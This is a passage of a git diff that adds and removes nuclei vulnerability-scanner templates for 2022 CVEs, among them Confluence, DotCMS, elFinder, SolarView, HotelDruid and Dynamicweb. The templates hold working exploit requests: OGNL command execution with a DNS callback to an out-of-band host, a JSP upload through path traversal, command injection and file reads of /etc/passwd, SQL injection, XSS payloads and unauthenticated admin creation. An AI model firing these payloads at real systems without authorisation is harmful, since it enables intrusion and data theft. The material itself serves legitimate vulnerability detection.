"(ADDR|(IFC|PWD|[DS]AT)):" + - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":" # cherry pick + condition: or + +# Enhanced by mp on 2022/03/23 diff --git a/nuclei-templates/CVE-2022/cve-2022-25369.yaml b/nuclei-templates/CVE-2022/cve-2022-25369.yaml deleted file mode 100644 index 27006db770..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-25369.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2022-25369 - -info: - name: Dynamicweb 9.5.0 - 9.12.7 Unauthenticated Admin User Creation - author: pdteam - severity: critical - description: Dynamicweb contains a vulnerability which allows an unauthenticated attacker to create a new administrative user. - remediation: "Upgrade to one of the fixed versions or higher: Dynamicweb 9.5.9, 9.6.16, 9.7.8, 9.8.11, 9.9, 9.10.18, 9.12.8, or 9.13.0." - reference: - - https://blog.assetnote.io/2022/02/20/logicflaw-dynamicweb-rce/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25369 - metadata: - shodan-query: http.component:"Dynamicweb" - tags: cve,cve2022,dynamicweb,rce,unauth - classification: - cve-id: CVE-2022-25369 - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cwe-id: CWE-425 - -requests: - - method: GET - path: - - "{{BaseURL}}/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername={{rand_base(6)}}&adminpassword={{rand_base(6)}}&adminemail=test@test.com&adminname=test" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"Success": true' - - '"Success":true' - condition: or - - - type: word - part: header - words: - - 'application/json' - - 'ASP.NET_SessionId' - condition: and - case-insensitive: true - - - type: status - status: - - 200 - -# Enhanced by cs on 2022/02/28 diff --git a/nuclei-templates/CVE-2022/cve-2022-26134.yaml b/nuclei-templates/CVE-2022/cve-2022-26134.yaml deleted file mode 100644 index f674d3e63d..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-26134.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: CVE-2022-26134 - -info: - name: Confluence - Remote Code Execution - author: pdteam,jbertman - severity: critical - description: | - Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. - remediation: | - Apply the latest security patches or updates provided by Atlassian to mitigate this vulnerability. - reference: - - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis - - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html - - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ - - https://jira.atlassian.com/browse/CONFSERVER-79016 - - http://packetstormsecurity.com/files/167431/Through-The-Wire-CVE-2022-26134-Confluence-Proof-Of-Concept.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-26134 - cwe-id: CWE-917 - epss-score: 0.97528 - epss-percentile: 0.9999 - cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: atlassian - product: confluence_data_center - shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2022,packetstorm,confluence,rce,ognl,oast,kev,atlassian - -http: - - method: GET - path: - - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" - - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/" - - stop-at-first-match: true - - matchers-condition: or - matchers: - - type: dsl - dsl: - - 'contains(to_lower(header_1), "x-cmd-response:")' - - - type: dsl - dsl: - - 'contains(interactsh_protocol, "dns")' - - 'contains(to_lower(response_2), "confluence")' - condition: and - - extractors: - - type: kval - kval: - - "x_cmd_response" - part: header -# digest: 490a00463044022043923188d8f26d3bad64b5b6194f0d26c0205ef1d053c1e84a0b3122538323a802202d862f6fca847a1e99d6ec7e4b694f266cd8b0409ca139653667b057d5873735:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-26148.yaml b/nuclei-templates/CVE-2022/cve-2022-26148.yaml deleted file mode 100644 index edf32a34c5..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-26148.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2022-26148 - -info: - name: Grafana Zabbix Integration - Credential Disclosure - author: Geekby - severity: critical - description: An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-26148 - - https://2k8.org/post-319.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-26148 - metadata: - fofa-query: app="Grafana" - shodan-query: title:"Grafana" - tags: cve,cve2022,grafana,zabbix - -requests: - - method: GET - path: - - "{{BaseURL}}/login?redirect=%2F" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '"password":"(.*?)"' - - '"username":"(.*?)"' - condition: and - - - type: word - part: body - words: - - '"zabbix":' - - '"zbx":' - - "alexanderzobnin-zabbix-datasource" - condition: or - - - type: status - status: - - 200 - - extractors: - - type: regex - group: 1 - regex: - - '"password":"(.*?)"' - - '"username":"(.*?)"' - - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php' \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-26352.yaml b/nuclei-templates/CVE-2022/cve-2022-26352.yaml deleted file mode 100644 index 9c61ad1df1..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-26352.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: CVE-2022-26352 - -info: - name: DotCMS - Arbitrary File Upload - author: h1ei1 - severity: critical - description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. - impact: | - Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix this vulnerability. - reference: - - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/ - - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352 - - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html - - https://groups.google.com/g/dotcms - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-26352 - cwe-id: CWE-22 - epss-score: 0.97527 - epss-percentile: 0.99989 - cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: dotcms - product: dotcms - tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive - -http: - - raw: - - | - POST /api/content/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3 - - --------------------------aadc326f7ae3eac3 - Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp" - Content-Type: text/plain - - <% - out.println("CVE-2022-26352"); - %> - --------------------------aadc326f7ae3eac3-- - - | - GET /{{randstr}}.jsp HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - 'contains(body_2, "CVE-2022-26352")' - - 'status_code_2 == 200' - condition: and -# digest: 4a0a004730450221009c0b8e26c1757e843516d1eb93bbf57c5a4c28cc367a24ab2913efc1c620261f02203b7f5ecae948b47821751b0eb7531ddf83eceedbcf0ad01c51e5710a9da998bb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-26564.yaml b/nuclei-templates/CVE-2022/cve-2022-26564.yaml new file mode 100644 index 0000000000..0dcca515bd --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-26564.yaml @@ -0,0 +1,60 @@ +id: CVE-2022-26564 + +info: + name: HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting + author: alexrydzak + severity: medium + description: | + HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. + reference: + - https://rydzak.me/2022/04/cve-2022-26564/ + - https://www.hoteldruid.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-26564 + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-26564 + cwe-id: CWE-79 + epss-score: 0.00097 + epss-percentile: 0.39401 + cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.3:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: digitaldruid + product: hoteldruid + shodan-query: http.favicon.hash:-1521640213 + tags: cve,cve2022,hoteldruid,xss,digitaldruid + +http: + - method: GET + path: + - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>' + - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1' + - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "HotelDruid" + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 +# digest: 4b0a00483046022100cce687826fa0938f4944c77a726102f036638a7225beea50d91d7f4aba881ee4022100d38d31a915a08dd7ac2ccff9c5cdb5683ccf782cc375359389be457f415998d9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-26960.yaml b/nuclei-templates/CVE-2022/cve-2022-26960.yaml deleted file mode 100644 index e231a5d9bb..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-26960.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2022-26960 - -info: - name: elFinder <=2.1.60 - Local File Inclusion - author: pikpikcu - severity: critical - description: | - elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. - remediation: | - Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability. - reference: - - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html - - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db - - https://www.synacktiv.com/publications.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-26960 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2022-26960 - cwe-id: CWE-22 - epss-score: 0.85922 - epss-percentile: 0.98481 - cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: std42 - product: elfinder - tags: cve2022,cve,lfi,elfinder,std42 - -http: - - raw: - - | - GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 -# digest: 4a0a00473045022100b51a2dee0a9598c7c1f521f9373c5bb35728dda0693010a4db82ab044f7124d4022006a5200a4741c2b9c8d1102b86fd448d48abe1e0af4e543f0ea00920ed47e9ee:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-27927.yaml b/nuclei-templates/CVE-2022/cve-2022-27927.yaml new file mode 100644 index 0000000000..1ff0eadb94 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-27927.yaml @@ -0,0 +1,52 @@ +id: CVE-2022-27927 + +info: + name: Microfinance Management System 1.0 - SQL Injection + author: lucasljm2001,ekrause + severity: critical + description: | + Microfinance Management System 1.0 is susceptible to SQL Injection. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip + - https://www.exploit-db.com/exploits/50891 + - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 + - https://www.sourcecodester.com/php/14822/microfinance-management-system.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-27927 + cwe-id: CWE-89 + epss-score: 0.10451 + epss-percentile: 0.94459 + cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: microfinance_management_system_project + product: microfinance_management_system + tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project +variables: + num: "999999999" + +http: + - raw: + - | + GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 +# digest: 490a00463044022100f2330cc77d89bc9dfac599714252cb298c5cb445f575714fdaa3d22ce52302d0021f4591789a7daf3fbe297cb9f3ea7331553a85261ca6027546cac70619c403fa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-28080.yaml b/nuclei-templates/CVE-2022/cve-2022-28080.yaml deleted file mode 100644 index 9076309976..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-28080.yaml +++ /dev/null @@ -1,82 +0,0 @@ -id: CVE-2022-28080 - -info: - name: Royal Event - SQL Injection - author: lucasljm2001,ekrause,ritikchaddha - severity: high - description: | - Royal Event is vulnerable to a SQL injection vulnerability. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire database. - remediation: | - To remediate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL Injection attacks. - reference: - - https://www.exploit-db.com/exploits/50934 - - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip - - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated - - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 - - https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2022-28080 - cwe-id: CWE-89 - epss-score: 0.01461 - epss-percentile: 0.86424 - cpe: cpe:2.3:a:event_management_system_project:event_management_system:1.0:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: event_management_system_project - product: event_management_system - tags: cve,cve2022,royalevent,edb,sqli,authenticated,cms,intrusive,event_management_system_project - -http: - - raw: - - | - POST /royal_event/ HTTP/1.1 - Host: {{Hostname}} - Content-Length: 353 - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD - - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="username" - - {{username}} - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="password" - - {{password}} - ------WebKitFormBoundaryCSxQll1eihcqgIgD - Content-Disposition: form-data; name="login" - - - ------WebKitFormBoundaryCSxQll1eihcqgIgD-- - - | - POST /royal_event/btndates_report.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD - - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="todate" - - 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- - - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="search" - - 3 - ------WebKitFormBoundaryFboH5ITu7DsGIGrD - Content-Disposition: form-data; name="fromdate" - - 01/01/2011 - ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- - - matchers-condition: and - matchers: - - type: word - words: - - '{{md5("{{randstr}}")}}' - - - type: status - status: - - 200 -# digest: 490a0046304402206f49180b6302f9fef0412af1682487a99e8e841803be35372ea552f7878da30e022034287c08d99ef3e984b6ba91845fc4b18462d620c01f5ea9326718da215d237f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-28363.yaml b/nuclei-templates/CVE-2022/cve-2022-28363.yaml deleted file mode 100644 index 43b82109a2..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-28363.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-28363 - -info: - name: Reprise License Manager 14.2 - Reflected Cross-Site Scripting - author: Akincibor - severity: medium - description: | - Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process "username" parameter via GET. No authentication is required. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-28363 - - https://www.reprisesoftware.com/products/software-license-management.php - - https://github.com/advisories/GHSA-rpvc-qgrm-r54f - - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2022-28363 - cwe-id: CWE-79 - tags: cve,cve2022,xss,rlm - -requests: - - method: GET - path: - - "{{BaseURL}}/goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - '' - - 'Login Failed' - condition: and - - - type: word - part: header - words: - - "text/html" diff --git a/nuclei-templates/CVE-2022/cve-2022-28365.yaml b/nuclei-templates/CVE-2022/cve-2022-28365.yaml deleted file mode 100644 index 17c731df63..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-28365.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2022-28365 - -info: - name: Reprise License Manager 14.2 - Information Disclosure - author: Akincibor - severity: medium - description: | - Reprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-28365 - - https://www.reprisesoftware.com/products/software-license-management.php - - https://github.com/advisories/GHSA-4g2v-6x25-vr7p - - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2022-28365 - cwe-id: CWE-668 - tags: cve,cve2022,exposure,rlm - -requests: - - method: GET - path: - - "{{BaseURL}}/goforms/rlminfo" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "RLM Version" - - "Platform type" - condition: and diff --git a/nuclei-templates/CVE-2022/cve-2022-29014.yaml b/nuclei-templates/CVE-2022/cve-2022-29014.yaml new file mode 100644 index 0000000000..6fd1794a52 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29014.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-29014 + +info: + name: Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion + author: edoardottt + severity: high + description: Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files. + impact: | + Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system. + remediation: | + Apply the latest firmware update provided by Razer to fix the Local File Inclusion vulnerability. + reference: + - https://www.exploit-db.com/exploits/50864 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29014 + - https://www2.razer.com/ap-en/desktops-and-networking/razer-sila + - https://packetstormsecurity.com/files/166683/Razer-Sila-2.0.418-Local-File-Inclusion.html + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-29014 + epss-score: 0.77285 + epss-percentile: 0.98135 + cpe: cpe:2.3:o:razer:sila_firmware:2.0.441_api-2.0.418:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: razer + product: sila_firmware + tags: cve,cve2022,edb,packetstorm,razer,lfi,router + +http: + - raw: + - | + POST /ubus/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]} + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 4a0a00473045022100fa422597b17ed8103daea7b9b7c129502f25b691034e1c73b5e6f98089537455022042b8117c0c1f7a96f5dfed6a5cc2244e045d23ecfb50bd7a34715f8bf79b1d20:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29298.yaml b/nuclei-templates/CVE-2022/cve-2022-29298.yaml new file mode 100644 index 0000000000..38ffe1f6b1 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29298.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-29298 + +info: + name: SolarView Compact 6.00 - Local File Inclusion + author: ritikchaddha + severity: high + description: SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data. + remediation: | + Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in SolarView Compact 6.00. + reference: + - https://www.exploit-db.com/exploits/50950 + - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view + - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing + - https://nvd.nist.gov/vuln/detail/CVE-2022-29298 + - https://github.com/20142995/pocsuite3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-29298 + cwe-id: CWE-22 + epss-score: 0.1374 + epss-percentile: 0.95497 + cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: contec + product: sv-cpt-mc310_firmware + shodan-query: http.html:"SolarView Compact" + tags: cve,cve2022,lfi,solarview,edb,contec + +http: + - method: GET + path: + - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 490a00463044022078d081edda1941e7be81d051567065c4e396282660f623323433ef782d79da2902205556917e13179bce84c0fd7d72192302ad7189776bf60aa56d15335d18521f44:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29299.yaml b/nuclei-templates/CVE-2022/cve-2022-29299.yaml new file mode 100644 index 0000000000..d334a36759 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29299.yaml @@ -0,0 +1,50 @@ +id: CVE-2022-29299 + +info: + name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting + author: For3stCo1d + severity: medium + description: | + SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. + reference: + - https://www.exploit-db.com/exploits/50967 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299 + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cve-id: CVE-2022-29299 + epss-score: 0.00175 + epss-percentile: 0.53704 + metadata: + verified: true + max-request: 1 + shodan-query: http.favicon.hash:-244067125 + tags: cve2022,cve,xss,solarview,edb + +http: + - method: GET + path: + - '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '<"">' + - '/Solar_History.php" METHOD="post">' + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 +# digest: 4a0a004730450220673dc09a9e66945d3637df5b363f262144bea056b46b6df86841bfd376ae1c290221008cbc66ea88991d111c727cdec2f06797a521103da95bc92272406df8e87890a5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29303.yaml b/nuclei-templates/CVE-2022/cve-2022-29303.yaml new file mode 100644 index 0000000000..3f9b0f07ff --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29303.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-29303 + +info: + name: SolarView Compact 6.00 - OS Command Injection + author: badboycxcc + severity: critical + description: | + SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the system. + remediation: | + Apply the latest patch or update provided by the vendor to fix the OS command injection vulnerability in SolarView Compact 6.00. + reference: + - https://www.exploit-db.com/exploits/50940 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303 + - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing + - http://packetstormsecurity.com/files/167183/SolarView-Compact-6.0-Command-Injection.html + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29303 + cwe-id: CWE-78 + epss-score: 0.9598 + epss-percentile: 0.99429 + cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: contec + product: sv-cpt-mc310_firmware + shodan-query: http.html:"SolarView Compact" + tags: cve,cve2022,injection,solarview,edb,packetstorm,rce,kev,contec +variables: + cmd: "cat${IFS}/etc/passwd" + +http: + - raw: + - | + @timeout: 25s + POST /conf_mail.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0" + + - type: word + part: body + words: + - "p1_network_mail.cgi" +# digest: 4a0a00473045022100cfdae160b8d20debb49ab77a03efc5984e3595e0738b0153de27449eb8cf254c022008bf10a1ac0f9b524841d022daae36b4b0b105ddae1296e300fb87c886200617:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29455.yaml b/nuclei-templates/CVE-2022/cve-2022-29455.yaml new file mode 100644 index 0000000000..0b8d96fcfd --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29455.yaml @@ -0,0 +1,67 @@ +id: CVE-2022-29455 + +info: + name: WordPress Elementor Website Builder <= 3.5.5 - DOM Cross-Site Scripting + author: rotembar,daffainfo + severity: medium + description: | + WordPress Elementor Website Builder plugin 3.5.5 and prior contains a reflected cross-site scripting vulnerability via the document object model. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. + remediation: | + Upgrade WordPress Elementor Website Builder to version 3.5.6 or later to mitigate this vulnerability. + reference: + - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor + - https://www.rotem-bar.com/elementor + - 